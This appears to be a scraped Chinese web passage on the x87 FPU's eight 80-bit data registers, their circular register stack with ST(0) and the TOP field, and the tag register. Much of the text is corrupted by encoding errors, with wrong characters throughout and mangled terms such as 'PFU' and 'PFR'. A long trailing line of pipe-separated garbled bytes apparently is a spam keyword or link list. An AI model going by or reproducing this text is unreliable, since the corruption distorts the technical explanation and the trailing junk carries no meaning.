点执行环境的寄存器主要?个通用数据寄存器和几个专用寄存器,它们是状态寄存器、控制寄存器、标记寄存器{?br />8个QҎ据寄存器QFPU Data RegisterQ,~号FPR0 ~ FPR7。每个Q点寄存器都是80位的Q以扩展_ֺ格式存储数据。当其他cd数据压入数据寄存器时QPFU自动转换成扩展精度;相反Q数据寄存器的数据取出时Q系l也会自动{换成要求的数据类型?br />      8个QҎ据寄存器l成首尾相接的堆栈,当前栈顶ST(0)指向的FPRxq态寄存器中TOP字段指明。数据寄存器不采用随机存取,而是按照“后q先出”的堆栈原则工作Qƈ且首@环。向数据寄存器传送(LoadQ数据时是入栈Q堆栈指针TOP先减1Q再数据压入栈寄存器Q从数据寄存器取出(StoreQ数据时是出栈Q先栈寄存器数据弹出Q再修改堆栈指针使TOP?。Q点寄存器栈还有首@环相q的特点。例如,若当前栈TOP=0Q即ST(0) = PFR0Q,那么Q入栈操作后׃TOP=7Q即使ST(0) = PFR7Q,数据被压入PFR7。所以,点数据寄存器常常被UCؓ点数据栈?br />      Z表明点数据寄存器中数据的性质Q对应每个FPR寄存器,都有一?位的标记QTagQ位Q这8个标记tag0 ~ tag7l成一?6位的标记寄存器?/p>

]]>
þþþùɫAVѿͼƬ| þùֱ| һƷþ| ഺþ| 69Ʒþþþþ޾Ʒ| ޾ƷþþþĻһڣ| þþƷһ| ۿƷþ| þþŮһ| Ѹþ| ˾þվ| þ97þ97Ʒӿ| 뾫Ʒþþɫ| ޹˾þþƷӰ| 2021þþƷѹۿ| 91龫Ʒ91þþþ| þҹҹ³³ƬӰ | þþƷ˳| ŵþ| þþžоƷ23ٻӰԺ| þ˾Ʒһ| 99þþƷֻоƷ| պƷþĻ | ɫۺϺϾþۿ| þ99Ʒþþþþhb| ޾Ʒþþþþò| Ʒþþþû | þþƷŷպþ| ҰĻþ| պavþþƷ| ޾Ʒþþþþ| þþƷ| ޹Ʒ˾þ| 2020þþƷ| þ66͵Ʒ9| þþƷAVӰԺ| ɫۺϾþ߹ۿ| ŷ龫Ʒþþþþþ| Ʒþþþþþþþþþþþþ| ۲ӰԺþùƷ| һֻƴƬ99þ|